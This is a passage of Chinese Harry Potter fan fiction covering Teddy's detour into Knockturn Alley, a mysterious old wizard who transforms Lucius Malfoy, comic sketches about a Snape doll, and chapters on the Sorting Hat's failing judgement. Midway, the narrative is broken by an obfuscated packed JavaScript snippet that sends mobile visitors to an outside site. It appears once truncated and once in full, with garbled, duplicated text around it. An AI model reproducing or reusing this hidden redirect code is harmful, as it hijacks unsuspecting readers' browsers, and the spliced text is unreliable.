十几分钟前,他还刚和韦斯莱一家从古灵阁出来,并大笑着听韦斯莱夫人对韦斯莱先生例行惯例的数落。跟赫敏及她父母汇合后,他们便兵分几路——韦斯莱夫人先带着金妮去买魔杖和新长袍,韦斯莱先生则硬拉着格兰杰夫妇去喝一杯,珀西以及双胞胎早就各自跑不见了影儿。泰迪自然是和罗恩赫敏在街上随意溜达,补充了些学习用品,而罗恩没花两分钟就选中了想要的扫帚。然后他们边舔着冰激凌边讨论着不知道能不能在丽痕书店碰上小哈利。 也许他们不该在大道正中间晃悠,一群犹如中了狂化咒的疯狂女巫——泰迪实在找不到更贴切且不失礼貌的形容词——正不要命似的一窝蜂朝书店方向涌去。当然,三人组不可避免地被冲散了。泰迪甚至不记得自己是怎么被人群挤进这条阴森森的小巷子里的。 泰迪干脆站在原地,冷静地思索走出这里的方法。指望罗恩他们找进来显然不可能,他也不能用任何魔法通知他们他的所在地,唯一剩下的办法就是接着走下去。泰迪叹口气,如果哈利在就好了。 这个念头一冒出来,就被泰迪强行压了下去。 坚强点,不能总依靠哈利。他给自己打气。 做好决定后,尽管万分不情愿在这冷飕飕的地方继续呆下去,泰迪也只得迈开脚步,开始摸索出去的路。这回他比较好运,没再走回同样的路,但同时他心底涌上不好的预感——自己似乎越走越远了。 他的预感没有错。前面出现的不是出口,而是一家大店面,博金·博克。一看到橱窗里陈列着的那些发黑的头盖骨或布满狰狞血丝的玻璃眼球,泰迪就知道这家店也正当不到哪儿去。可他毫无选择。泰迪迅速看了下四周,抱着一丝希望——也许店主不是那么坏的黑巫师——他轻手轻脚地推开店门。 店里空无一人。泰迪对着柜台上的摇铃犹豫了好半天,就在他终于伸手准备摇响它之时,眼角处瞄到店外有人在朝这里走来。 他顿时慌张起来,闪身躲进旁边的黑色柜子里,留了条缝向外偷看。 不久后,那个人走进店里,他的脸藏在斗篷帽里,只有偶尔露出的布满横纹的下巴透露出他年纪不轻的事实。他开始打量着店面的陈设。而当那黑洞洞的脸转向泰迪躲藏的柜子时,它似乎特意多停留了几秒钟——一股寒意窜上泰迪的背脊,让他有种柜子被透视的感觉。 有那么一瞬间,泰迪几乎以为他会走过来打开柜子。但那人的视线很快移回去,在摇响铃铛的同时,转为查看一个架子上的骷髅水晶球。 蹭蹭蹭的脚步声从里间传来,一个弓腰驼背的老男人迅速出现在柜台后面,涎着脸招呼道,“啊呀呀——尊敬的客人,请问我有什么可以为您效劳的?” “好久不见,博金。”那个人的声音苍老而低沉,重重的鼻音中透着威严,仿佛能震慑一切。他稍稍抬起头,让博金看清斗篷下的脸。 博金的神情由一开始的谄媚急速转变为惊愕,乃至于恐惧。 “是……是您,先生——” 斗篷下的人冷哼,“你看上去不怎么欢迎我。” “哪儿的话!”博金一手捋过自己油光光的光头,顺带擦了把冷汗,“我非常荣幸能接待您这般尊敬的客人——您可以随意看看,当然,给您的价格绝对公道!哦,不不不,我怎么能收您的钱,您看上什么就请自便吧!”话是这么说,博金的脸上肉痛的神色还是一闪而过。 那人显然不吃他那套奉承,手指在柜台上轻叩,“看来你的记性也被时间的流逝腐蚀得干干净净了?和上次同一个问题——有,还是没有?” 博金愣了愣,然后恍然大悟般地一拍手,“哦,您是说‘那个’!”他露出一副遗憾的表情,“很可惜,我已经尽力去搜寻了,可符合您描述的水瓶实在是不易寻得……您也知道,它的年代,还有那种特征——” 一只干枯的手阻止了他说下去。 “既然没有就算了,你也不必再找下去。”那人淡淡地说,刻意压低的声音中含有一丝隐晦的失望,“本以为这次的时空改变会带来些变数,是我过于乐观了。” “您说什么?”博金掏了掏耳朵。 “那不管你的事。”斗篷下的人瞥了他一眼,博金顿时噤若寒蝉。 得不到想要的结果,他显然失去继续和博金周旋下去的欲望,似乎不经意地往泰迪的藏身处看了看,便一言不发地离开了。 博金恭敬地送他出门,一关上店门,便立时收起那副谄谀的嘴脸。 “哼,我可没那么傻,浪费时间去找那种传说里才有的东西——天知道是真是假?神气个什么,不过是个落魄的……”他忽然醒悟似的捂住自己的嘴,神经兮兮地四下张望一番,然后嘴里低声嘀咕着泰迪听不清的话语,回到里间去了。 来不及犹豫太多,泰迪找准了一个时机蹑手蹑脚溜了出去。可还没跑几步,就和一个人撞了个满怀。 “泰迪?”一个惊讶的声音在他耳边响起。是德拉科·马尔福。 泰迪震惊于在翻倒巷见到熟人,一时脑子转不过来,“德拉科?你怎么——” “你就是我儿子一直挂在嘴上的泰迪·卢平?” 泰迪看着眼前这个铂金色头发披在肩上的高傲男人。他的身份再明显不过了。 “您好,马尔福先生。”他潜意识里不是很喜欢这个人,但仍保持着应有的礼节。 卢修斯·马尔福没有回应,而是用挑剔的目光在他身上转了两圈,拖长了腔调说,“听说那个装腔作势的佩弗利尔是你的教父?” “父亲!”德拉科不赞同地出声道。卢修斯·马尔福蹙眉,“安静点,德拉科。我还没就你低下的交友品味发表过意见。” 他语气里毫不掩饰的轻蔑让泰迪直皱眉。低下的交友品味?还有哈利什么时候装腔作势过了? “哈利的确是我的教父。但我不能赞成您对他的评价,在我看来,偏颇并且有失公允。”泰迪扬起头,毫不示弱地回道,“另外,我觉得和你做朋友的人交友品味也一定不怎么样。” “噗嗤。”德拉科极不给自己父亲面子地笑了出来。 “果然有其父必有其子,和你教父一样张狂。”卢修斯·马尔福哼笑,“德拉科,你确定你要和这种来历不明的杂种混在一起?” 说完他也不等德拉科,径直走进博金·博克店里。 “我父亲的话你可以不用在意。”德拉科算是友好地对他笑笑。 泰迪回头看了一下已经进入店铺的卢修斯,迟疑着问,“你们关系不怎么好?” 这个问题让德拉科·马尔福露出若有所思的表情。 “以前很好,父亲的话就是绝对的。”他用自嘲的语调说,“现在只是——我发现他不是万能的了。” 两人沉默了几秒。 “对了,你怎么进来翻倒巷的?”德拉科问,“这里不适合你这种巫师来吧?” “我迷路了。”泰迪把事情的发生一五一十地说了,除了省去那个神秘人的事,他下意识地避开了这个话题。“你知道哪条路能回去对角巷吗?” 德拉科随手往某个方向一指,“顺着那条路直走,对,就是有座人骨雕像的那条……然后在首个交叉口两个右拐,最后再一个左拐……不,跑吧。这段路不怎么安全。” 泰迪点头向他道谢,向德拉科先前指的方向一路小跑过去,很快心情就雀跃起来——那条路正确无比地把他带回了对角巷。 “嘿!泰迪!”看着自己的朋友急匆匆地朝他跑来,泰迪彻底松了一口气。 翻倒巷之行到底是有惊无险。 “泰迪!我们快找疯了——”赫敏的头发被风吹得乱糟糟的,她随便擦了擦额头上的汗,喘着气问,“你刚刚到底去哪儿了?” “哦,我不小心进了翻倒巷——” “真的?太酷了!”罗恩羡慕地说,“爸妈从不让我们进去……” “他们是对的!”赫敏不耐烦地打断他,“翻倒巷听说是黑巫师的聚集场所。万一泰迪在里面出事了怎么办?” “可他不是还好好的吗?” “呃,事实上,我在里面遇到了德拉科和他父亲。”泰迪坦白道。 罗恩和赫敏似乎同时被噎了一下。 “是德拉科告诉我出来的路的。”泰迪不在意地耸耸肩,他知道两个好友对德拉科·马尔福芥蒂不小,即使大部分是针对以前伪装的那个,“时间也不早了,我们快去丽痕书店吧,免得大家担心。” 这次他们乖乖地顺着人流慢慢向前行,丽痕书店就近在眼前,甚至可以看见高高挂着的吉罗德·洛哈特签名会的横幅。与此同时,他们惊讶地发现里三层外三层的人群把他们堵在了外面。 “他太有名了!当然啦,他写了那么多名作!书单上的书也几乎都是他写的!”赫敏的表现和别的追星女巫没什么区别,“梅林,想想我们一会儿就能亲眼看到他!” “你当然不会‘闻’到他了,赫敏。”罗恩酸溜溜地回道。他踮起脚尖,“我看到妈妈她们了,要一起去排队吗?” “我想先去找哈利他们。”泰迪一直在好奇地东张西望,“话说你们看到卢平先生的售书摊位了吗?这几天他不也在这里售书吗?” 听泰迪这么一问,另两人也显得疑惑不解。 “泰迪!罗恩!赫敏!”一个小小的声音从人群里传出,是小哈利,“这里这里!” 他们赶忙从人缝里钻进去和小哈利汇合。小哈利带着他们在排队的队伍里穿来穿去,然后来到丽痕书店门前的某个偏僻小角落里。 ——卢平的售书摊正冷冷清清地立在那儿。 “你们来得可真晚!”小哈利吁了口气,率先掀开帐篷的门帘走了进去。 波特一家都聚在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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“个人兴趣罢了。”卢平笑道,“巫师个体力量的确比麻瓜强得多,一个黑魔法就可以轻轻松松杀死好几十个麻瓜。但在麻瓜那些毁灭性的武器面前,恐怕就算是古老魔法也略逊一筹吧?” “那可不一定,小伙子,你过浅的见识限制了你的眼界。在某些失传的古老魔法面前,麻瓜的破玩意就跟玩具没两样。”帐篷里突兀地想起一个苍老的声音。 泰迪浑身僵硬起来。这把声音他不久前才听到过一次——是那个神秘的斗篷人! 可那个老人现在没把自己裹在斗篷里,而是大大咧咧地晃着手上的书—— 灰白头发下刻满了皱纹的脸神采奕奕,颧骨高耸,配上刀削般的鼻梁,想像得出他年轻时必定英俊非凡。 卢平兴趣十足地挑起一根眉毛,“您的意思是说巫师还有许多杀伤力巨大的古老魔法失传了吗?” “呵呵。”老人怪笑两声,“我可没这么说过。你只要记住,真正强大的魔法并不意味着杀伤力的强大。” 老人的话让卢平陷入了沉思当中。 “那么我能理解为——” “啧啧啧,看看这寒碜的地方。”卢修斯·马尔福不知何时带着德拉科来到这里,用手杖挑开帐篷的一边,带着十足的嫌弃意味。 “这里不欢迎你,马尔福。”小天狼星冷冷地说。 卢修斯一点也没有显出冒犯的恼怒,他悠哉哉地拿起一本崭新的书,“难道你们这里不是公开让人来买书的?还是好不容易来的一个客人就像现在这样扫出门去?” 小天狼星狠狠地瞪着他,恨不得在他身上戳出几个洞来。莉莉往他身边凑近了些,拉着他的手臂以防他一个冲动闹起事来。 “我明白我明白。”卢修斯深以为然地点头,“看你们堕落得也只能靠卖几本破书糊口了吧?” 詹姆斯上前一步,“马尔福!注意你的措辞!” 啪——! 一道白光闪过。 白光褪尽后,卢修斯·马尔福消失了。不,原地剩下一只瑟瑟发抖的金鼬。 “父亲!”德拉科不知所措地看着这一幕,好一会儿才手忙脚乱地把金鼬抱进怀里。金鼬在他怀里不断挣扎着想逃出来,对发出魔咒的人发出尖厉的狂叫声。 “这只是个小教训。”老人手握接近20英寸的超长魔杖,言行举止中处处透着傲气,“好让你一辈子都记得打断别人对话是极度失礼的行为。”说完他无视了变成金鼬的卢修斯,合上手中的书,在经过泰迪身边时直接塞进他怀里,用毋庸质疑的口气说,“留着做个纪念吧,会对你们有用处的,孩子。”随即便在众人的注目下兀自离开了。 与此同时,帐篷内还未从震惊中缓过劲来的众人听到了洛哈特用扩音咒扩大了的声音。 “女士们先生们,让我无比自豪地宣布,不用过多久,霍格沃兹的学生们就会得到一个真正的、会魔法的我!没错,我受邓布利多校长的邀请,将于今年九月成为霍格沃兹魔法学校新任的黑魔法防御课教师!” 相较于洛哈特周围的一片欢呼和掌声,泰迪他们这里却静得诡异。每个人都用询问的目光向同样一脸茫然的泰迪望去,并且在心里升起一个大大的问号—— 难道哈利·佩弗利尔今年不教黑魔法防御了? 43. 人偶是怎样炼成的 --起因-- 泰迪:哈利,你为什么要做西弗的人偶? 哈利:对着斯内普的脸来施咒会让我会比较有压力。 泰迪:面对伏地魔不是会更有压力吗? 哈利:(叹气)对付伏地魔我总是习惯性用“除你武器”。 泰迪:原来如此。 (当泰迪离去后,哈利转身拿起怀疑也是由他本人制作的木钉,怨气冲天地蹲在地上狠戳斯内普人偶,嘴里还念念有词:“我让你不帮我做实验!我让你不肯帮我做实验!”) oOo --头发的苦恼-- 哈利:(盯着手上的光头人偶自言自语)现在就剩头发了。真怀念伏地魔的光头啊,反正油腻腻的头发也很丑,要不要干脆光头斯内普算了?没有头发的斯内普……掉光头发的斯内普……油光光秃顶的斯内普…… (一小时后) 哈利:(盯着手上有着一头清爽飘逸黑发的人偶碎碎念)做他的头发比熬魔药还累,成功后格兰芬多有加分吗?还有为什么我就是做不出原版头发的油腻视觉效果以及手感?配方问题?(翻箱倒柜)橄榄油可以试试看,棕榈油太难闻,香精油……让斯内普头发散发香味?(打一冷战)不合格!” (半小时后) 哈利:(盯着手上完美复制原版油腻头发的人偶,脸红了) (作者按:望天,我居然也有XE的一天) oOo --去向-- 罗恩:伙计,你在玩什么? 泰迪:西弗的人偶啊。 (众人沉默五秒) 罗恩:听着,泰迪。你已经十二岁了—— 泰迪:嗯。 罗恩:是个男子汉了。 泰迪:嗯。 罗恩:男子汉是不玩、也不会去做人偶的。尤其还是斯内普……咳咳……教授的。 泰迪:哦。这不是我做的…… 罗恩:(不自在地清咳)所以说,这个人偶……能借我回去玩……虐两天吗? 乔治:我们亲爱的弟弟,你在玩什么? 罗恩:斯内普教授的人偶啊。 (众人沉默五秒) 弗雷德:听着,罗恩。你已经十二岁了—— 罗恩:嗯? 乔治:是个男子汉了。 罗恩:呃…… 弗雷德:男子汉是不玩、也不会把人偶衣服脱光研究它的真实度的。尤其还是斯内普……咳咳……教授的。 罗恩:…… 乔治:所以说,不 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(十五分钟后) 弗雷德:好吧,新产品实验宣告失败。 乔治:奇怪,我们的药水明明做得很完美…… 斯内普人偶:(不屑)色泽浑浊,催化变形效果的棕根和变色草份量明显不足,配置药水时还掉进一根脏得可以洗出墨水的头发,这种连合格药水也称不上、还带有洗脚水味道的玩意也敢用在我身上? (大眼瞪小眼一分钟) 弗雷德:乔治,那根头发是谁的? oOo -当他遇到满身疮痍的它……-(-起因-后续) 斯内普:(眯眼注视着桌上一排三个均布满可疑破洞的人偶)哈利·波特……你以为我不会做人偶? (人偶是怎样炼成的系列小剧场完) (纯属恶搞请勿带入正文留言请注意河蟹) 44. 思想融合 【2000年】 “那不简单,哈利。别忘了你当初光是……就费了多大的劲!” “我知道这听起来有些荒唐……和不实际。可我们都那么爱它。我是说,把霍格沃兹当作第二个家来爱护,甚至愿意豁出性命保护它。但你听听他们的言论,看看他们自私的做法,赫敏!战后五年,凭心而论,除了一个徒有其名的‘救世主’,这个世界有从根本上改变什么吗?我们俩都在魔法部工作,终日乐此不彼、热衷于勾心斗角的嘴脸看得还少吗?在我眼里,有些人脑子里的想法比巴克比克的脖子还要顽固不化。他们可不会在乎霍格沃兹变怎样,但为什么我们必须任由那些偏见和不公正继续分裂我们的‘家’?这不是我想要看到的结果!我……忍不住感到难过。” …… …… 【1992年】 哈利紧蹙眉头,困惑和迷惘交织在一起,形成一种复杂的情绪反映在他脸上。 一门之隔的校长室内传出院长们清晰的争辩声。 “抽签是我想得到的最为公平的分院方式了!当然我们也可以按字母顺序来分配。”首先响起的是麦格教授略含恼怒的声音。 “公平?”斯内普低沉圆滑的嗓音里渗出丝丝寒意,“这个世上没有公平,包括死亡,米勒娃。而我必须重申,任何血统低贱,或者是本该属于格兰芬多的那些鲁莽无脑的蠢货都不会被允许进入我的学院。” 麦格教授听上去气得不轻,“很好,也许你能提出更恰当的建议,西弗勒斯?难道我们还能把选择权交给一无所知的新生么?” “我会亲自挑选符合条件的斯莱特林。” “你在给学生带来负面的影响。”斯普劳特教授立刻反驳,“作为各学院的院长是不该插手分院结果的!” “就是!就是!”弗利维教授尖声尖气地表示赞同。 “我的记忆力和判断力还未退化。”即使是隔着扇门,哈利仿佛都能看见斯内普刻薄地挑起眉毛,并同时从嘴里吐出冷言冷语,“我所要做的,不过是效仿霍格沃兹四位创始人的做法而已。” “那就是我的原形?无法不欣赏他的一针见血。”斯内普人偶不知何时从哈利的衣袋里探出了脑袋,讽刺的色彩出现在布织的脸上反而造成滑稽的效果,“至于你,我可以预见你宁愿躲在这里直到世界毁灭。” “我没有逃避。”哈利下意识地回答。 “看上去不像。” “闭嘴。要不你会面临两个选择,定身咒或者拆光身上的线。” “啊,恼羞成怒者常用的手段。另外提醒你一句常识,定身咒对非生命体无效。恰巧我被包括其中。”丢下似嘲似讽的感叹,人偶的脑袋缩回口袋里,不再吭声。 门内的争论仍在继续。哈利又静静地站了片刻,对自己摇头。他不能由着深埋心底的想法死灰复燃。 “哈利,你来得正好。”邓布利多第一时间发现推门而入的哈利。 “为什么哈利会来……阿不思,这是否有些不妥?”麦格教授推了推镜框,委婉地说道。 “他不是院长。”斯内普的反对更直截了当。 邓布利多不紧不慢地回道,“我认为哈利在此事上能有所帮助。” 斯内普不信任地眯起眼,而其余的院长脸上都充满疑问,但显然邓布利多不容置疑的语气打消了他们发问的念头——在过去一年里邓布利多对哈利·佩弗利尔抱持的非同一般的信任,连瞎子也看得出。 早就习惯于应付各种目光,哈利毫不在意地说,“阿不思,我刚刚在门外听到一点关于分院的……纠纷——”他瞥了眼几乎被遗忘在高脚凳上的分院帽——烧焦的地方都被修复了,看上去还比印象中干净不少——转头看向表情各异的院长们,直接切入主题,“有什么不能使用分院帽的理由吗?” “是出了点意料之外的状况。”邓布利多淡淡地陈述,“米勒娃,你来试试。” 麦格教授黑着脸把分院帽扣在自己的脑袋上,不明所以然的哈利对此举动莫名其妙。可他很快得到解答,因为他听见分院帽扯着嗓子大喊,“斯莱特林!” “西弗勒斯,你再来。” 从表情扭曲的麦格教授手中接过分院帽时,斯内普的嘴角明显在抽搐。哈利有种感觉,若非是邓布利多提出的要求,他恐怕绝不会吝啬自己的毒液。 “……格兰芬多!” 气氛当然尴尬。感谢梅林斯内普没把分院帽当场撕了。哈利及时止住爆笑的冲动——估计斯内普宁愿去吞一盘子的鼻涕虫,也不会愿意被分到他一向不齿的格兰芬多。 问题原来出在这儿。 哈利反复观察手中的尖顶帽,“分院帽一直是这样吗?” “自从它恢复意识后。”斯普劳特教授无奈地摊手,“我们尝试过各种方法,可它不但分院功能失常,而且对什么都闭口不谈。” “哈利,你要试试看吗?或许能有些收获。” 他抬头对上隐含着深意的湛蓝眼睛,心中攸然闪过一个念头——邓布利多极有可能从分院帽处得知了些什么,却缄默至今。 说不准,分院帽的沉默也是分对象的。 在众教授不抱期望的目光中,哈利戴上了帽子,和以前一样耐心地等待分院帽的意识和他接触。 “哈利·佩弗利尔。”良久,小小的声音在他脑中响起,“哈利·佩弗利尔。是的,我当然记得你,拥有相同灵魂的两人的其中一个……” 分院帽的话在哈利耳膜里轰隆作响。他好不容易强压下满腹震惊,“你很正常。” “如果是记忆方面,你说得没错。但我的判断能力出现紊乱也是事实,并在我的控制之外。” 哈利露出听不懂的表情,“控制之外?” “要知道,当年格兰芬多他们把思想注入我体内时,四种思想是泾渭分明的存在。因此我才能轻易地为每个新生选择出最适合他的学院。” “你的意思是……” “四种思想在逐渐融合,我不能说这预示着什么,也不清楚影响是否永久性的。只能确定这就是造成我在分院时偶尔会产生混乱的原因,我恐怕。” 哈利踌躇了一阵,“为什么——” “只告诉你?”分院帽机敏地问,“你很特别。我向阿不思·邓布利多要求了这次对话,同时也是为了解决我苏醒以来便存在的一些疑问。毕竟,这次意外的起因和你密不可分。此外,我相信你会很高兴看到分院仪式可能有机会被取消。这是个好机会不是吗?” “那是白日做梦。”哈利干巴巴地说。 “还未争取过就放弃了?” 对于这个问题,哈利选择沉默以对。 “真是奇怪,这次我看不到你的想法了。”分院帽在叹气,“还有,也许这算不上是提醒,我感觉到那份不属于你的斯莱特林倒是比一年前强大许多。当然啦,我想我的判断又出错了。” 在摘下分院帽后,哈利一句话也说不出来。 …… 霍格沃兹四位创始人注入分院帽中的思想居然正在融为一体,这个震惊的消息简直如天方夜谭般不可思议。每个人都毫不掩饰地把不安的情绪表露出来——若失去分院帽,他们无法想像该如何延续分院仪式的传统。正如强迫一个巫师舍弃魔杖去适应不便利的麻瓜生活,想想都令人崩溃。 教授们再次陷入激烈的争论之中,连画像里的历代校长也意识到问题的严重性,纷纷加入了讨论。 哈利除外。 他把自己隐藏在校长室一角,兴趣索然地看着校长室热闹得像个动物园,满屋子唾沫乱溅。又冷眼旁观教授们最后达成共识,由四学院院长分别在暂时的替代品中注入自己的思想——当然效果会大打折扣——不管怎么说,至少得先熬过今年的分院仪式,剩下的也只能从长计议了。 当一切得到妥善的安排后,邓布利多把哈利单独留下,而斯内普刚要迈出房门的脚步停住了。 “哈利,刚才为什么不提提你的想法?” 哈利仿佛回到了学生时代,局促地坐在办公桌的对面。他可以感觉到邓布利多大概猜出了他的心思,但仍是固执地不肯和他对视,“我的想法,和大家乐见的结果显然背道而驰。” 邓布利多的蓝眼睛在闪烁,“哦?你大可以说来听听。” 就算说出来也不见得能改变他们的决定,哈利暗想。只是说说,又何妨? “我希望能彻底取消分院仪式。” 刚说完这句话,他听见在背后的斯内普发出明显的嗤笑声。 “你应该知道,分院制度是霍格沃兹建校以来便一直沿承的传统。”邓布利多温和地说。 “我知道。” “它几乎可算作霍格沃兹象征的一部分,仅凭校长是没有足够的权限取消它的。” “我知道。” 邓布利多定定地注视他,终于问道,“你是什么时候有这个想法的?” “在我还没来到这里以前。” “看来你曾经尝试过。”邓布利多肯定地下结论。 哈利耸耸肩,神色间头一次透出颓丧,“这没有区别。” “我很清楚分院制度难度。我只是怀疑它存在的合理性——过早地给孩子灌输偏见,给他们的性格定型,可我们的学院一共才四个——不认为这种分院法过于粗糙吗?更别提分院后在学院间造成的种种矛盾和隔阂了。何况一千多年后的学院,早就失去了原本的目的——大家接受的都是统一的教育、考试。我认为学院的存在更应该给予学生归属感,而不是……在他们身上贴上标签。可现在根本是本末倒置。” 邓布利多张了张嘴,但斯内普抢在他前面开口。 “你又一次让我们领教了你的奇思妙想,波特。你说的弊端只要是个人都看得出,那你是希望看到什么?是上千只猫头鹰挤破霍格沃兹的大门,还是学校董事会及社会舆论的百般阻挠?你认为你舒舒服服地坐在校长室里,口头上两句不痛不痒的表态,梅林就会好心地赐你美味的馅饼?别试图代表整个巫师社会,你在这个时代什么也不是,甚至比不上洛哈特那个花瓶的一块碎片。哦,我差点忘了,即使是在未来,你的救世主光环连挂一幅画像也帮不上忙不是么?”
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16156382|180577||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “我当然清楚以我现在——”哈利回头不耐烦地说,但随即瞪大双眼,“不,你怎么知道——” “因为你的自以为是,令我死后也不得不受到这所学校的折磨。”斯内普回以他一个居高临下的冷笑,在转身离开前恶意地加了句,“另外,波特,别忘了明天。你的‘劳动服务’还没结束。” 连最后一点点愧疚也消失殆尽,哈利蹭地跳起来冲着他黑袍——呃,没有翻滚的背影吼道,“我几乎把家里的魔药间给搬空来赔偿你了,还给你做了三天苦力,斯内普你到底有完没完!” …… “其实他的画像,已经挂在校长室的墙壁上了。”待斯内普完全消失在门后,哈利又回复没精打采的样子,似乎在低声自嘲,“他说得对,也许我真是自以为是。” 邓布利多伸出一只手,安抚性地拍了拍他放在桌上的手。双方沉默半晌后,邓布利多静静地说,“哈利,你是否还有别的原因……没有说出来?你的执着,真的只是因为那些——正如西弗勒斯所说——显而易见的理由吗?” 哈利猛地抬起头,脸上露出毫无防备的惊讶。他深吸了口气,缓缓说道,“战后第一年,被分到斯莱特林的新生只有两个,而且都是混血。谁也没在意,大家都沉浸在刚打败伏地魔的喜悦中。何况我们都以为只不过是伏地魔留下的后遗症,而实际上,斯莱特林学生的日子的确不好过,尤其是那些父母是食死徒的学生简直成了众矢之的。就算是霍格沃兹——也不能给他们安全感。” “可第二、三年的情况也没好转。一切都在不对劲。偏偏我那时注意力完全在别的事上,而且也发生了……” 哈利摇了摇头,那些同样不是愉快的回忆。邓布利多注视着他的眼睛变得更加深沉。 “直到第四年,我们终于得到消息,国内一些纯血家族联合在爱尔兰办了一所专门为纯血巫师设立的学校,并偷偷挖走了大部分原本被霍格沃兹录取的纯血学生。” “如果他们成功,斯莱特林学院或许没几年时间就会在霍格沃兹彻底消失。当然,其它三个学院说不定还巴不得呢。学院间的对立在战后也没有得到缓和。像我从小不喜欢斯莱特林,即使是现在也谈不上喜欢。可他们有没有想过,缺少了斯莱特林学院,那就不再是完整的霍格沃兹了!”哈利的手微微颤抖,不断升高的语调透露出他内心的激动。 “那段时间,霍格沃兹内部的冲突几乎达到最高点。麦格教授就快无法维持下去,学校董事会袖手旁观,而我和赫敏几乎用尽了我们在魔法部所有能借用到的人脉、力量……想方设法扩大霍格沃兹在国外的录取范围,并鼓励更多混血进入斯莱特林,才总算稳定下局势……” 哈利长叹口气,仿佛用尽了全身的气力,“我经常在想,如果霍格沃兹一开始就没有分成四个学院,是不是就不会发生这种事了?又止不住地想,为什么我们不能回到战争胜利的那一晚,大家不分学院不分彼此地坐在乱哄哄的礼堂里,相互拥抱、庆祝……” 听到这里,邓布利多忽然站起来,绕过桌子给了哈利一个轻柔而短暂的拥抱,并在分开时拍了把他的背部。 “所以你是为了把大家团结在一起,也是为了这个学校,是吗?” 哈利苦恼地说,“但光是想想又能有什么用呢?” “你看,哈利。许多人宁愿耽溺于不变的传统中,也不愿去面对未知的变革。”邓布利多从他的半月形眼镜上方打量哈利,“打个比喻,火山底下积聚的熔浆,只有被逼到临界点才会爆发——很显然,不管是巫师还是麻瓜在和平时代都具有某种惰性。但这不意味着我们不能在可以预见的情况循序渐进,逐渐改变——尽管那条路会艰难坎坷得多。” “不同学院的学生平时可能不够友好,但在学校出现危机的时候,他们不是仍然勇敢地站在一起团结抗敌了吗?不必担心那个未来会重现,霍格沃兹没有想像中那么脆弱,因为我们有许多能够引以为傲的学生,不是吗?” 哈利咬了咬下唇,终于是点点头。 “分院帽中四种思想的融合说不定是种预兆,但要把四学院重新合一,毫无疑问将是个极为漫长、也是困难的过程——不仅是来自各方面的压力,还有具体措施的实施上。” “当然不可否认,现阶段学院之间的交流的确少了些。”邓布利多眨眨眼,“我想我们能从这方面开始补救,比如说——学校很久没有举办大型活动了。看来你得多费神,正好伏地魔的离开让你这学期比预期要轻松。” “一步一步来?”哈利咧开嘴笑了。把心里憋着话一口气说出来,以及得到邓布利多的支持理解,让他感到如释重负。 “脚踏实地没有坏处。”邓布利多语调轻松地说,“这件事看来可以告一段落。对了,听说你在制作人偶?我对布偶制作也很有心得,有空不如交流交流意见。” 哈利脸上的笑容僵了僵——哪个混蛋打的小报告? “其实……只是实验道具……你也知道,做工不怎么……”哈利讪笑着看向别处,手却下意识地往衣袋摸去,表情顿时僵住。 那里空空如也。 45. 三个选择 地窖办公室——。 斯内普板着脸审视魔药橱柜里面的药瓶。 他最近习惯把霍格沃兹的地窖作为魔药制作根据地。拜那个不知感恩的——他拒绝提起名字——所赐,蜘蛛尾巷家中的实验室连同地窖至今惨不忍睹。 闯了祸还想逃,果然和他父亲一样恬不知耻。 斯内普唇边浮起冷笑,快速地从橱柜中挑出适合的魔药材料。 但无可否认,造成这种状况的原因有一部分是由于他有意无意的纵容——尽管他口头上决不会承认。他大可以找出成百上千个理由把波特拒之门外。甚至不需要任何理由。即使是邓布利多也没法迫使魔药大师公开犹如命脉般的实验室供别人使用。 何况那个自虐狂隐瞒还来不及呢。 不重不轻地哼了声,里面隐藏的恼意连斯内普也说不清有几分是针对自己的。 那一天的梦依然记忆犹新,自己尘封已久的过去蜂拥而来,反而让他能够正视曾经的屈辱和绝望,如今的茫然和苦楚,从中脱离而出。而另一人的命运,或者过去,不管是麻木的神情还是想当然的做法——都和他无关,斯内普反复提醒自己。 他一向能很好地控制自己。 可不时闪现的记忆占有性地在脑海徘徊不离去,斯内普无法忽视,内心属于他的那锅魔药在逐渐变色。 “你是解脱了……”他低语,语带自嘲,“还是选择了一瓶新的束缚剂?” 桌子上狼毒药剂的配方不见了踪影。 斯内普挑起眉毛,对地窖里发生的灵异事件表示不解。 他不确定是否记忆力提早衰退,毕竟配方内容还被牢牢记在他的脑海里。 失去配方不影响他继续配制魔药,斯内普也懒得花更多心思去琢磨配方的去向,直接着手进入准备步骤。 他把切成粒状的血根混入碧绿色的药水当中,慎重地顺时针搅拌两周半,并耐心等待它转成血红的那一瞬间,随时准备倒入手上那瓶银液。 本来,狼毒药剂的高制作难度容不得他有丝毫分神。 糟糕的是,斯内普分心了。 是坩埚里冒出的蒸汽模糊了眼睛,肯定是。 否则怎么解释高高坐在橱柜顶上,正津津有味研究那张本该失踪的配方的……人偶? 该死的哈利·波特究竟做了多少个? 斯内普好不容易压抑住把哈利抓来兴师问罪的冲动。 大概是注意到斯内普针刺般的视线,斯内普人偶懒洋洋的目光扫过斯内普前面的坩埚,用不冷不热、却发音滑稽的声音说,“我抑制不住对你幻想的破灭,西弗勒斯·斯内普。你居然会允许你的理智随着坩埚里冒出的烟在空气中消散——魔药要熬过头了。” 冒着绛紫色气泡的药水在哀嚎。 斯内普的脸色和它一样难看。 “失望归失望,总比佩弗利尔天天威胁拆我身上的线要强。另外我质疑这张配方的合理性,以及药效的持久性。”视原版斯内普的惊怒为无物,斯内普人偶吃力地搬起配方,理所当然地探讨起学术问题。 会跑会跳会说话的人偶估计绝非仅有。 但刚见面就讨论魔药配方问题的人偶怎么也算是独一无二了。 “你完全可以用曼德拉草来代替血根。” “曼德拉草麻醉效果不及血根。”人偶的嚣张彻底激怒斯内普,他眼中流露出浓浓的不屑,似乎要证明人偶的工作就是安分做玩具,“而且你以为一张需要实验无数次的配方,说换就换?” 